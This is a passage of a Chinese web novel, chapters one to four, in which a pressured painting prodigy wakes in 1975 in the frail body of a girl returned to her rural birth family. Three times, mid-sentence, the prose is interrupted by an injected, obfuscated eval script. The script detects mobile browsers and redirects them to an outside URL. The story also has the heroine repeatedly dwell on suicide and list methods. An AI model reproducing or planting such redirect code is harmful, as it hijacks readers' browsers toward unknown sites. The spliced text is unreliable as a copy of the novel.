《七零病美人嫁狼老公》 1. 病秧子X狼少年 “你怎么能偷改志愿!真是太伤我心!” 随着一声呵叱,大学录取通知书被撕成了一片片,雪花一般自头顶上飘落。 “不要!” 徐知画双手在空中胡乱抓握,抓住纸片就像抓住了救命稻草,颤抖着想要拼凑完整。 “我都是为了你好,你怎么那么不懂事!做妈的还会害女儿吗?!” 看到徐知画这副不知悔改的模样,徐钰燕眼神冷冽,怒火燃烧了理智,手化作钳子使劲拧着她身上的肉,骂骂咧咧: “翅膀硬了,我管不了你了是不是?这辈子你想离开我?想都别想!接下来我会安排你复读的事。” 徐知画倒在地上蜷缩着身子,双眼紧闭满是绝望,分不清是身体痛一点还是精神痛一点,几近崩溃。 好想死。 “想死滚远点,又是这副死模样吓唬谁?” 一道陌生且刻薄的声音突然落入耳膜。 徐知画眼前发黑,胸口像压了一块大石头,喘不过气来,抑制不住的恶心感阵阵涌来,呼吸越来越急促,濒临死亡的感觉从来没有哪一刻像现在这般清晰。 “妈,这次她不像是装的,真发病了!” “真是个扫把星,最后一天还找麻烦。珍珍,快,去叫德叔借板车,赶紧送这个短命鬼去医院。” 徐知画迷迷糊糊着睁开眼,一个陌生的中年妇女气哼哼着将她背起来。 思维变得迟缓而混乱,眼皮沉重如铅,徐知画仿佛跌进一个无底的深渊。 渐渐的,她什么都看不见,晕了过去。 * 徐知画的妈妈徐钰燕本是个富家千金,为了摆脱家族联姻、追求自以为是的浪漫爱情,被人做局认识了口蜜腹剑的混混爸爸,未婚先孕气得父母和她断绝亲子关系。 混混爸爸见无利可图,终于露出真面目,稍有不顺心就对她拳打脚踢,后在一次交通事故中意外丧生,徐钰燕幡然醒悟,回头是岸跪求父母原谅,自此封心锁爱。 然而见昔日闺友一个个在父母的保驾护航下,生活幸福美满,嫉妒的种子在徐钰燕的心里扎根发芽,春风吹过般一下子长成了参天大树。 有些女人的友谊就是这么奇怪,明明不喜欢对方,见面时却还会保持笑容,说些心知肚明、明捧暗讽的漂亮话,做戏似的。 大多数时候,在贵妇圈聚会中,徐钰燕都是被嘲讽拿来活跃气氛的那个。 就这样春去冬来,岁月匆匆,局面在不知不觉中发生了扭转—— 在徐知画3岁那年,世界级绘画大师齐宁来家里做客,发觉她有极高的绘画天赋,随手的涂鸦惟妙惟肖,灵动传神,后将几幅作品拿去参赛,都获得了不错的名次和赞誉。 徐钰燕第一次正视这个象征着人生污点的女儿,一个念头浮起,从那天后,她就为培养绘画神童做宣传,更是将女儿改名为【徐知画】。 一场场巡回画展让徐知画名声大噪,凭借大胆且极具想象力的画技和精致可爱的容貌,加上自媒体的兴起,更是让她迅速获得广大粉丝的喜爱,还被邀请去录综艺,获得“国民闺女”的称号。 财富和声誉滚滚而来,再无人取笑徐钰燕蠢笨无脑无名无份跟一个野男人未婚先孕的事,转而夸她是教女有方。 然沟壑难填,徐钰燕开始将全部精力放在培养徐知画的身上,事事要求尽善尽美,德智体美劳全面发展,稍有懈怠,迎接她的将是翻倍折磨。 每天徐知画就像是上了发条的钟表,不是在学习就是在被徐钰燕拉去名利场展示才艺的路上,哪怕交朋友,也是因为有用。 徐知画自认为做得很好了,但徐钰燕永远不会满意,特别是每当看到死对头的儿子又获得了什么什么奖,转头就会更加严厉地要求她更努力。 徐知画是个努力型选手,而对手是天赋型选手,虽说有时考试能险胜一二,但还要担忧下次能不能继续获胜。 没完没了地比来比去,真心累啊! 填报高考志愿时,徐钰燕要她报考本市的大学,徐知画表面答应得好好的,转头就报了一个离家坐飞机要10个小时的美院. 想着以后山长水远,她可以像鸟儿一样挣脱牢笼,放飞自我,自由了! 于是就有了开头这一幕,当看到大学的录取通知书,徐钰燕暴跳如雷,当场撕碎。 女儿想要脱离她的掌控,在她看来是背叛,不能容忍。 徐钰燕总是说爱她才这样,可是爱怎么会让人痛苦呢? 一想到这辈子都要这样,徐知画顿感人生无望。 * 叽里呱啦的说话声先吵醒了耳朵,半梦半醒间,徐知画努力抬起沉重的眼皮,几个身影模模糊糊映入眼帘。 她定了定睛,发现是在医院,浓郁的药味充斥在鼻翼间,不由得叹了口气,对于自己还活着这个事实感到一阵失望。 “……她自小身子骨不好,次次看病吃药,花销可不是一笔小数目,养这么大没功劳也有苦劳,今儿你们一来就指责我们,未免太伤人心。”陈彩霞眼泪说来就来,好似受了天大的委屈。 “不是指责,只是看到龟妹瘦得就剩一把骨头了,说话急了点,您别计较。”池清荷赔笑着将一叠用布包起来的钱票塞到陈彩霞的手上,说,“当年多亏您家肯收养,龟妹才能活到现在,我们是知数感恩的,小小心意还请笑纳。” 陈彩霞掀开布看了看,脸色好了点,也愿意给个笑容,悠悠道:“她体质就是这样,吃再多也不见长肉,又挑食,这些年若不是养在我们家,怕早早折了去。” 陈彩霞又拉进了一点距离,恨铁不成钢般下眼药水告状:“有些孩子天生是坏种,这话是有一定道理的。我们自小就教育孩子要把心思放在正途上,哪知她小小年纪就卖弄风骚,还勾得一个男同学为她大打出手,被人告状上门,真是羞得没脸见人,还好我珍珍没有学了去。” “我这人性子比较直,说话不好听别介意。”见对面两人面色不虞,陈彩霞装出十分好心的样子,继而说:“我建议回乡下后,你们赶紧给她找个婆家,提醒她多注意男女作风问题,不然到时出了问题,被人举报,那真是后悔都来不及。” “这就不劳你费心。”徐敬荣没好气道。 陈彩霞和她亲生女儿倒是吃得肥头大耳,面色红润,身上的衣服光鲜亮丽,再对比起现在躺在病床上瘦骨嶙峋的龟妹,要说她有被好好照顾,徐敬荣真不信,所以连她的告状都有存疑。 “反正我家婆已经仙逝,知画这次下乡也算是全了养育之恩,以后两家没必要再走动,穷亲戚不要脸打秋风惯了,我可不想一直当冤大头。” 这话说得一点儿都不留情面,陈彩霞目露讥讽,将姿态摆得高高的,生怕他们像蚂蝗一样吸附上来吸血的一般。 “放心,我们以后就是要饭,也不会从你家门前经过。”徐敬荣冷冷怼了回去,暗悔应该早点来接龟妹回去的,寄人篱下不知受了多少委屈。 “呵,你们最好说到做到。”他这么有【志气】,陈彩霞松了口气,能甩掉这个包袱就好。 就这些泥腿子,陈彩霞没觉得他们这辈子会有什么造化,没必要交好,要不是家婆迷信,相信知画这个死妮子会给家里带来好运才一直养着,她早早就将人撵回乡下了。 “狗眼看人低,当初是你家婆好说歹说留下龟妹,我们也没想着打秋风……”池清荷暗道钱票给早了,现在不想给了能不能抢回来。 “哼,你们有什么好值得我瞧得起的,我家婆是老糊涂要收留一个病秧子,我可不傻,谁稀罕那点瓜果蔬菜。”陈彩霞见池清荷盯着未捂热的钱票,赶紧揣进兜里,警惕道,“当然,这点钱抵不上知画的抚养费,但算是一点补偿,给出去可没有再还回去的道理。” 像是怕钱票被抢回去,陈彩霞后退了几步,眼珠一转,见知画不知道什么时候已经醒过来,睁着一双圆溜溜的大眼睛,她走过去,幸灾乐祸般道: “知画啊,以后你就不是我家的女儿了,他们才是你真正的亲人,回到乡下后,安安分分找个老实男人嫁了得了,别再没皮没脸做些攀高枝的白日梦。” “这位大婶,我们认识吗?”徐知画是真的很迷惑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880232|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们说的话她每一句都听得懂,但都是些什么乱七八糟的,脑海中没有与这些人来往的记忆啊。 陈彩霞“嗤”了声,以为她是觉得找到靠山胆子变大起来,都会装傻充愣撇清关系了,虽说是不想让他们攀附占便宜,但看对方没有一丝留恋又是另外一回事。 她心里不得劲,走时也要丢下一句“果然是养不熟的白眼狼。”膈应,才扭着好大一只屁股斗胜公鸡般出了门。 徐敬荣看着她的背影,黑眸微眯,手握成拳,浑身上下散发着浓浓的戾气。 “你好,请问有看到我妈吗?”徐知画见那个男人阴沉着脸,像在筹谋着什么坏主意,看向旁边那个脾气好一点的女人问道。 她想着就算撕了通知书,但好在证明身份后还是能上大学,到时让外公外婆出面帮忙和妈妈沟通看看吧。 看这一男一女的穿着打扮,深蓝色工装加黑布鞋,年代感十足,说是在演戏吧也没见有摄像机和工作人员,奇奇怪怪的。 “龟妹,妈在乡下呢。”徐敬荣的表情一瞬间由阴转晴,变脸之快好比六月天,似乎为了表达友好,扬着比向日葵还灿烂的笑容走过来,说,“自我介绍一下,我是你的亲大哥徐敬荣,她是你大嫂池清荷,我们是来接你回家的。” 徐知画皱了皱眉:“你们认错人了吧。” 徐钰燕怎么可能会去乡下,而且她是独生女,哪里突然冒出来的亲哥哥。 顷刻间,徐知画想到了什么阴谋诡计或者是恶作剧。 “我真是你哥。”徐敬荣也知道这个信息太过突然,但事实就是如此。 一段前尘往事就此娓娓道来—— 他们的家在偏远且穷困的徐家村,祖上世代为农,爸妈一共生养了四男一女,守着一亩三分地养家糊口,徐知画是在全家人的期盼中出生的。 然而,一次意外导致妈妈早产,徐知画刚出生时孱弱得像是一只老鼠,后来又被查出有心脏病,一家人是砸锅卖铁也不愿放弃治疗。 眼见实在是走投无路,就在大家做最坏打算时,一个婆婆出现在医院,说愿意出钱出力为龟妹治疗,想要收养她,而且说起两家同姓,几百年前很有可能是同一祖宗的渊缘。 那时婆婆一再强调说和龟妹有缘,她的儿媳迟迟怀不上,想要个孩子宽慰陪伴在身边,并再三保证一定会对龟妹好,爸妈又专程去城里考察了一番婆婆的家庭情况,确认所说相符,才愿意将孩子送给她养。 婆婆还说怕龟妹知道是收养的心里有疙瘩,就不要揭穿她的身世,如果爸妈不放心,每月可以以亲戚的名义来探望一次。 这些年来,只要爸妈去看望龟妹,都会尽己所能,有物给物有钱给钱,算是一点小心意。 后来得知婆婆的儿媳陈彩霞怀孕生子后,爸妈也曾提议接回龟妹,但是婆婆还是保证说不会亏待龟妹,孩子养出感情了,也就不了了之。 哪知婆婆去世后,陈彩霞就火急火燎写信通知爸妈来接龟妹回去,说不想家里再多个病秧子吃白饭。 自家孩子自家疼,爸妈倒想飞奔过去接回龟妹,但因为双抢走不开,又想到徐敬荣和媳妇也要休假回来,就叫他们顺便接去接人了。 兄妹相见不相识也正常。 怪异。 他认真的样子真不像是在开玩笑。 徐知画能清晰地感受到身体不如以往,就像是内里已经有部分腐烂的枯木,无力、虚弱、疼痛,是她现在的感觉。 生机在慢慢流逝。 徐知画抬起一只手看,好奇怪,这不是她的手,瘦小无力,薄薄的一层皮里,青筋明显,掌心还有一些茧。 荒诞无稽。 在徐知画的认知里,她只是在和妈妈的争执中情绪激动晕了过去,醒过来自己怎么就不是自己了呢? “我是谁?”徐知画反手指着自己。 “你是我龟妹,大名叫徐知画。”徐敬荣不知她为何如此问,但还是老实作答。 徐知画的视线移到桌面的搪瓷杯上,不安地问道:“现在是什么年代?” “1975年。” 2. 病秧子X狼少年 说出【1975】这组数字像摁下了时间按钮,无数个记忆片段犹如放电影般在脑海轮播。 头痛欲裂。 像是有一根长棒在颅内将脑神经拨过来挑过去,搅成一个漩涡又打成结,痛得她面容煞白,四肢痉挛,冷汗直冒。 “医生!医生!” 看着她一副要痛死过去的模样,徐敬荣大惊失色,尖锐的嗓音几乎破了音,如射出的箭般夺门而出。 很快,医生被架着来到病床旁,一系列的操作后,徐知画慢慢平复呼吸缓过来。 “病人的情绪起伏不能太过剧烈,有什么事好好说好好解决,不能再受刺激了。”医生看向徐敬荣,叮嘱道,“病人身体长期亏损严重,需要补充营养滋补,这方面家属多注意。” 徐敬荣连连点头。 徐知画是医院的常客了,医生多多少少知道点这小姑娘的身世,之前的家人虽说愿意出钱救治,但却没多少关爱之意,吊着一条命就行,现在她真正的哥哥看起来是个可靠的,但愿不是做戏,命运多眷顾点这可怜的小姑娘。 这年头,女孩贱如草,可不好活啊,可惜他有怜悯之心,却无救助之力。 医生叹着气走了。 见龟妹闭上眼睛像是睡着了,池清荷朝徐敬荣“嘘”了声,两人蹑手蹑脚出去了。 再次听到关门声,徐知画缓缓睁开眼睛,表面云淡风轻,内心早已风起云涌,恨不得化身大猩猩朝游客扔粑粑以宣泄心情。 夭寿啦! 她这是穿越了?! 魂穿,原身不知道去哪儿了。 这具身体的主人也叫徐知画,据说这是一个大师取的,自有记忆起在家里地位最低等,睡的是杂物间,吃的是剩饭剩菜,洗衣做饭扫地等是做家务的好手。 偏这家人虚伪且又好面子,若有人问起“怎么让孩子干那么多活?”,就捧夸她懂事贴心,还要她主动跟人说是自己想分担家务。 有时消耗体力过大的劳动会引发心脏病,偏陈彩霞见不得她闲,后来又真怕她死了,还要送医院花钱,又换来几顿骂。 而徐知画有个相差两岁的妹妹,名叫徐宝珍,从小到大她听的最多的就是“你是姐姐,要让让妹妹。” 徐宝珍仗着家人的宠爱,明里暗里给她吃了很多苦头,但徐知画也不是好惹的,她会攒着仇一笔一笔记在本本上,然后找一个合适的时机,或制造不在场证明或借刀搞事,神不知鬼不觉狠狠报复回去。 现在两人都在泽立中学读高中,因为吃不饱和没有钱买一些必需的生活用品,徐知画凭借自己还拿得出手的美貌,结交了一些有钱“朋友”,帮忙跑腿或者做作业以换取酬劳。 她还在鱼塘精心挑选了三个潜力股想培养当老公,可惜有一个男生徐宝珍也看上了,眼见男生越来越在意徐知画,生性放荡不羁却甘愿为她鞍前马后,这真让人生气! 嫉妒的情绪像是膨胀的气球,一天天变大,终于有一天,气球达到极限,“嘭”爆炸开来。 徐宝珍再忍无可忍,略施手段让三个男生都知道了彼此的存在,于是他们齐齐上门讨要说法,想知道徐知画究竟对哪个有意。 得知翻车的那一刻,徐知画很快调整好表情,义正言辞表明对他们都是同学校友之间的互助互爱,不存在爱慕之心,好在之前也没有做出什么出格的举动,那些似是而非的话是他们回错了意。 男生们吃了个哑巴亏,自是不肯轻易放过她,自此她的校园生活变得水深火热起来。 而家里人对她更是百般看不顺眼,责骂张口就来。 后来上面要求知青下乡,徐婆婆却一反常态想报上徐宝珍的名,陈彩霞当然舍不得女儿去吃那个苦,婆媳闹腾了很久。 僵持不下之际,谁知一场小感冒,徐婆婆吃了多少药都不管用,没多久就去阎王爷那报到了。 陈彩霞头顶的那座大山终于移开,哭哭啼啼搞完葬礼后,整个人支棱起来,第一时间就是去知青办将徐知画的名字报上。 又告知她只是收养的女儿,现在该是报答的时候了。 也是那天,徐知画才明白为何以前自己做再多、做得再好也不得家人们的夸奖与疼爱。 好在,她早已习惯了被讨厌、被区别对待,所以即使得知这个真相并没有很伤心。 只是,在某个夜深人静的时候,她对未来感到迷茫,不知何去何从,就像是一片落在溪流里的叶子,随波逐流,不知道会遇到什么险境,命运又会将她带去何方。 对于那个将她送人的原生家庭,徐知画也没有期待,只当是跳出一个虎窝,又掉进一个狼窝,不知道什么时候,就会将她吞噬干净。 在这个年代,男孩子是金疙瘩,女孩子生下来就淹死或丢掉的不在少数,毕竟人在描述的时候总爱美化自己的品行。 徐知画更愿意相信是亲生父母不想要她这个累赘,不是迫不得已,不是以为她好的名义给别人养。 她现在下乡,对两家来说是双赢的局面吧。 其一:徐宝珍不用吃种地的苦; 其二:穷苦人家的男人会让姐妹通过换亲的方式娶上一个媳妇,而她现在也差不多到结婚的年龄,中途就算病死了,尸体还能用来配冥婚,是一笔不会亏本的买卖。 这是一个吃人的社会,特别是吃女人的社会。 在这出门都要介绍信的时代里,徐知画逃无可逃,天地之大,哪里都是牢笼。 命运总是这样,但你觉得生活糟糕透顶时,还会再狠狠一击,告诉你这个倒霉蛋,还要更糟糕的。 徐知画不知道是因为什么契机来到了这个年代,她是想逃脱妈妈的掌控,但不是以跨时空这种方式。 在科技日新月异的二十一世纪,徐知画的高中同桌是个资深的小说迷,荤素不忌,课间的时候,喜欢和前桌或后排分享喜欢的大大和讨论剧情。 不可避免的,徐知画多多少少听了几耳朵,什么医生凭借金手指在古代混得风生水起,助力王爷登顶皇位后,享尽宠爱; 又什么社畜猝死后,身怀系统或身穿或魂穿在异世搞钱搞事业,美男见一个收一个,夜夜当新娘…… 越狗血越上头,越离经叛道越引人入胜。 所以徐知画怀疑自己是不是穿进某一本小说了,奈何之前她读的都是名著,若早知道有这一出,她一定全网搜索有关自己名字的小说,并全文背诵以做准备。 何至于现在一脸懵,满头黑线。 脑洞加载ing—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880233|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许来到这里,就是上天想要改变徐知画的命运,乘风破浪活出精彩,她会是天道之女吗? 就像天之骄子召唤神龙,徐知画在心底默念:【系统,统统,啊统……】 周遭静悄悄,没出现什么金手指,没有空间也没有灵泉。 难道是默念的方式不对? 徐知画回忆起之前曾无意看到别人跳大神的画面,起身照葫芦画瓢舞动着手势,念念有词:“系统,现身!” “统统,出来!” “阿统,天灵灵地灵灵,变!” 还没跳一会儿,体力就跟不上了,徐知画只好停下来歇息。 一转头,就看到池清荷不知道什么时候来了,目瞪口呆地看着她。 “龟妹,新鲜出炉的肉包子,趁热吃?”池清荷以为因为知道身世,她受刺激了,才会做出奇奇怪怪的动作,问得小心翼翼。 看着白花花的肉包子,徐知画下意识咽了咽口水,肚子不合时宜地“咕咕”唱起了空城计。 “谢谢。”徐知画不自在地接过包子。 不管他们有何阴谋诡计,现在填饱肚子是紧要。 徐知画出院后,徐敬荣和池清荷带她去供销社大包小包买了很多东西,像是要补偿她似的,只要多看两眼,都会毫不犹豫,买! 现在物质真是匮乏啊,有钱还不行,买东西基本靠抢,柜台里的售货员爱答不理的,问多两句还不乐意,摆出一副臭脸骂人。 徐知画本想理论一番,可还没说两句,就被人挤出去了,一个不稳,眼见就要摔倒,徐敬荣提溜起她的衣领到外围,说:“你在这等我。” 转头又挤进去继续抢购。 差评!差评!差评! 要放在现代,徐知画分分钟投诉警告,可现在只有自己生闷气的份,毕竟这年头能当售货员,都是家里有点门路的。 买完东西后,三人往火车站赶,因为怜惜徐知画体弱,徐敬荣和池清荷一人挑着两个扁担走。 虽然混迹在人群里,但徐知画以局外者的视角观察着这个世界。 千篇一律的毫无设计感的衣服、黝黑的脸、赶路的人提着飞禽走兽步履匆匆…… 鸡叫鹅吵、吆喝声、啼哭声、借过声…… 眼睛耳朵都是闹嚷嚷的。 突然,一个包裹被丢到怀里,徐知画下意识接住了。 转头看去,一个身材挺拔表情拽拽看起来很欠揍男生,挑眉道:“徐知画,拿着。” 徐知画面无表情地将包裹丢到地上,头也不回走了。 “徐知画!胆子肥了啊!”陈豫周脸色倏地沉下来,捡起包裹追上去,拽了拽她的马尾,说,“之前你骗我的事,我还没跟你计较,就敢给脸色给我看,呵。” 陈豫周是徐知画的同班同学,也是她平日骗吃骗喝的主要冤大头,更是徐宝珍默默放在心上的男神。 “你是谁?想干什么?”徐敬荣挑着扁担横在两人中间,警惕地看着陈豫周。 “你就是徐知画的亲哥?我是她同学,也是下乡到你们队的知青,以后请多关照。”陈豫周不自觉敛起嬉皮笑脸,正色道。 徐敬荣瞥了一眼龟妹,见她面有不豫之色,于是警告道:“离我妹远点。” 3. 病秧子X狼少年 “借过。” “让让。” “小心。” 五湖四海的人聚在小小的车厢里,或坐或站,摩肩接踵,什么体面什么优雅,在这里通通不复存在。 找个座位好比过五关斩六将。 狐臭味、臭脚丫、屎味……各种难闻的味道汇集一起,不经意间吸一口气,简直能把人熏晕过去。 等徐知画终于坐到位置上,感觉命丢了半条,有气无力地用手帕捂着鼻子,浅浅地呼吸着。 本来心情就够郁闷了,偏对面陈豫周嘴巴说个不停,吵得要死,徐知画懒得搭理他,干脆将脑袋靠在池清荷的肩上,眼睛一闭,拒绝攀谈的意味很明显。 坐着好难受,无数次睁眼、闭眼、再睁眼,从白天到黑夜再到黎明,还没到!还是没到啊! 徐知画似乎看到黑白无常来勾魂索命了。 等到达终点站时,徐知画的四肢发软发抖着,然而这还没完,还要再转拖拉机到村。 人就像行李一样,一件一件往拖拉机上扔。 还没等徐知画反应过来,徐敬荣猛地架起她的腋下,一个旋转,稳稳地将她放在一包被子上坐着。 徐知画摸着隐隐作痛的咯吱窝,就是想生气也没有力气。 点好人数后,拖拉机“铿铿锵锵”发动了,没有安全带,经过坑坑洼洼路段时,人就像弹起的球,滞空感一阵又一阵。 徐知画感觉灵魂都要颠出来,说是在凌迟都不为过,没坚持多久,她又晕了过去。 * 好像每一次醒过来都能解锁新地标。 徐知画仰面躺在床上,身上盖着一张孔雀牡丹花棉绸薄被子,带着被阳光晒过的味道,并不难闻。 只是眼前是一个土坯房,墙壁有些斑驳开裂了,房顶有块小天窗,横梁上蜘蛛正辛勤地工作着,一圈又一圈织着网。 徐知画神思恍惚,气息奄奄,好难受,四肢百骸像被人打了一顿,周身疼痛。 要死了吧。 徐知画又睡了过去。 没多久,一阵臭味萦绕在鼻尖,徐知画皱了皱眉,睁开眼,一张脏兮兮的脸放大在眼前。 “姑姑醒啦!姑姑醒啦!” 一个小孩欢叫了一句,炮弹一样冲出去。 没多久,他捧着一个碗小心翼翼地走过来。 “姑姑,喝粥。”小孩舀起一勺粥作势要喂她。 徐知画的视线落在他满是污垢的指甲上,抗拒地偏过头。 “姑姑,肚子饿饿,要喝粥。”小孩牢记大人的嘱咐,要在家照顾好她。 徐知画在想能不能把自己饿死得了。 “姑姑,好好喝的粥哦,你尝尝嘛。”小孩搅拌着粥,阵阵米香味散开,勾醒了肚子里的馋虫,嘴里叨叨,“我好想喝,但这是姑姑喝的,我不能喝,姑姑你为什么不想喝捏,我听见你肚子咕咕叫了……” 徐知画干脆用被子蒙过头,用仅存的意志力和饥饿做斗争。 “姑姑,我喂你吧。” 小孩说完就掀开被子,掰正徐知画的脑袋,拇指和食指捏起嘴巴,一勺粥塞进去。 动作粗暴,一气呵成。 徐知画倒想挣脱开,但是没力气啊,只能是砧板上的鱼肉,任人宰割,而且饿得发昏,食物刚进嘴巴就本能咽了下去。 喂完粥后,小孩用手一抹,嘴巴上残留的粥水被弄干净了,引得她直泛干呕。 差不多过了半个小时,小孩端着一碗药过来,眼见他又要动手,徐知画心一横,深吸一口气,打算一口闷。 “哕~!” 药太苦太难喝了,刚进口她就想吐。 “吃个红枣甜甜。”小孩从兜里掏出一颗干瘪的红枣递过去。 徐知画嫌弃地摇摇头,撇撇嘴道:“我不要喝药。” “不行,你生病了,不喝药不会好的。”小孩态度很坚决。 一副你不喝,我就喂你喝的架势。 徐知画只好捏着鼻子喝完了,又用温白开漱口压下那股药味。 “小孩,这是哪里?” “我家里。”小孩歪着脑袋,手放进嘴巴含着。 徐知画撇开眼,尽量控制着不去联想刚才所吃的东西生产过程,耐着性子问道:“你爸爸妈妈叫什么名字?” “我爸叫徐敬荣,我妈叫池清荷。”小孩说得很大声,继而又补偿道,“我叫狗岁。” 看来是回到农村了,没有再穿越。 人的生理问题真的很难憋住,徐知画犹豫了几下,不好意思开口:“我想上厕所。” “好,我带你去。”狗岁扶起她。 真是奇怪,他看着小小一个,还没有她的腰身高,力气却大得惊人。 出了大门,只见院子旁有棵大树,树下有个男人正埋头编着竹子,狗岁介绍道:“那是康荣叔。” 徐知画点点头,没有说什么,被带着来到角落里的一间用木头搭建的小房子前,还没进去,就闻到了阵阵恶臭。 徐知画停住了脚步。 仿佛前面不是厕所,而是刀山火海。 “进去啊。”狗岁催促道。 实在是憋不住,徐知画咬咬牙,屏住呼吸,刚打开门一看,“哕~!”,恶心得她吐了,转身就走。 “我不要在这里上厕所。”徐知画走远了些,大口大口呼吸着新鲜的空气。 “你好麻烦。”狗岁看着她这副娇气模样,很是嫌弃,但看在她是姑姑,而且又刚回到家的份上,很好脾气地商量着,“那我带你去地里上厕所吧。” “嗯嗯。” 应该没有比这更糟糕的了吧。 狗岁将她带到后院自家的玉米地里,说:“姑姑,你随便拉吧,我在这看风。” 徐知画环顾了下四周,倒没见什么人影,只是…… “你带纸了吗?” “纸?什么纸?”狗岁很疑惑。 “擦屁股的纸。”徐知画说得很羞耻。 “我们擦屁股不用纸。”狗岁三下五除二就地取材,薅来几片玉米叶,“呐。” “这能擦干净吗?”徐知画嘟囔着,然而顾不上矫情,肚子一阵翻涌,大有决堤倾泻之意,她拿过玉米叶,火急火燎地往里冲去。 …… 徐知画回去之后,从头到脚洗了个热水澡才感觉活了过来。 看着镜子里的自己,五官是熟悉的,但皮肤略显苍白,透着一股病气,下巴尖尖,凸显得眼睛比较大,嘴唇也没有一点血色。 看起来就不是一个长命的。 而在现代,徐知画有保持健身的习惯,精力比一般人都要旺盛,平时少有这病怏怏的状态,用别人的话来说,就是自带一种姨妈很正常的美感。 “唉——” 徐知画开始怀念保姆、马桶、飞机、手机、快递…… 她还回得去吗? 或许在明天,她就会死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880234|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 在这个年代,感觉生比死还要困难啊。 夕阳西下,火烧云如同熔金炉倾倒,一团团、一簇簇瑰丽的云彩铺满天际,翻滚着、变幻着,美不胜收。 在地劳作了一天的人们开始归家,说话声、洗手声、走路声…… 小院一下子热闹起来。 “在家有没有照顾好你姑姑?” “有啊,我给她喝粥喝药,还带她去拉屎,又烧水给她洗澡。”狗岁掰着手指数着做过的事。 “这个奖励你的,去分点给你姑姑。”蔡淑芬从兜里掏出一把花生给他。 “好咧!” 不一会儿,“噔噔噔”的脚步声响起,狗岁出现在面前:“姑姑,姑姑,你怎么又在睡觉,有好吃的,快来快来。” 徐知画看向他手中的花生,就这? 没什么兴趣。 “我不要,你吃吧。” 狗岁将花生一分为二放在桌面,说:“那你留着,以后想吃再吃。” 分到手上一人也不过四五颗花生,狗岁吃得津津有味。 他想和姑姑聊聊天,多亲近亲近,但是徐知画爱答不理的态度让他觉得很无聊,于是坐不住跑开了。 此时徐知画思绪乱七八糟的,突然来到这么一个陌生的地方,又和这么一群陌生人生活在一起,不知道该以什么态度去面对。 正想着,突然一只手触上了她的脑门,徐知画冷不丁吓了一跳。 借着昏暗的光线,可以看清是个女人。 “龟妹,身体感觉好点了吗?起来准备吃晚饭了。” 女人的声音里满是关切。 徐知画不自然地躲了躲,“嗯”了声。 一家人将饭桌摆到小院中央已经坐好了,看到徐知画过来,纷纷招呼她吃饭。 水煮鱼、炒青菜、拍黄瓜、鸡蛋汤。 看起来都没什么食欲。 徐知画摸了摸木桌,指腹立马被灰尘粘黑,下意识捻了捻,随后掏出手帕在自己的位置擦了擦才坐下。 这一小小的举动让大家不自在起来。 她身上干干净净,倒显得和这里格格不入。 “龟妹,多吃肉,长高高。”对面一个男生呵呵傻笑着给她碗里夹了一条鱼,随后嗦了一口筷子。 徐知画滞了滞,看着碗里的饭菜,直板板道:“我不吃了。” 正想起身走,旁边的池清荷拉住了她的胳膊,打着圆场:“不吃哪行,我重新给你盛一碗。” 池清荷将鱼夹回给徐安荣,开玩笑道:“这鱼是安荣抓的,安荣自己夹自己吃,也多吃点。” 又将碗里的饭分给了其他人,再重新添一碗。 徐安荣看着徐知画紧皱的眉头和紧抿的唇,感知到她不悦的情绪,意识到龟妹并不喜欢自己夹鱼给她吃。 心情也变得很糟糕。 “大嫂,龟妹是不是不喜欢我?”徐安荣撇着嘴,委屈巴巴的样子。 好似下一秒听到“不喜欢”就要哇哇大哭起来。 徐知画撩起眼皮看了他一眼,这人…… 怎么会因为这个当面告状啊。 “你多跟龟妹玩就喜欢你了,现在你们还不熟。”池清荷安慰道,“现在吃饭,不要说那么多。” 徐安荣觉得这话有道理,决定明天邀请她去摘野果,思绪抛开后,大口大口吃饭。 除了他,这一顿饭,其他人吃得是五味杂陈。 4. 病秧子X狼少年 “唉……” 这是徐知画第数不清多少次叹气,来到这个鬼地方已经有一个星期了。 吃是吃不好,睡是睡不好、拉是拉不好,最基本、最起码的生理需求样样满足不了。 而且这病怏怏的身体,跑一跑跳一跳都要去半条命。 弱,太弱了。 这也是徐知画第数不清多少次想死,可割腕好痛、饿死难受、吊死吓人、撞墙死不知要撞多少下、烧炭中毒没碳…… 若是有安眠药,能在不知不觉中睡死就好了。 想死的念头萦绕不去。 每天醒来,就是叹气一声,然后接着叹气、再叹气、还是叹气…… “唉——”徐知画想着想着又长叹了一口气。 “龟妹,摘野果去不去?” 徐安荣跟猴儿一样蹿到面前,第数不清多少次邀请她。 “不去。” 徐知画有时觉得两人就像是设定走这个剧情的NPC,好似她不答应,他就会一直问下去。 那果子,徐安荣也带回来过,酸酸涩涩的,一点儿都不好吃。 她不喜欢。 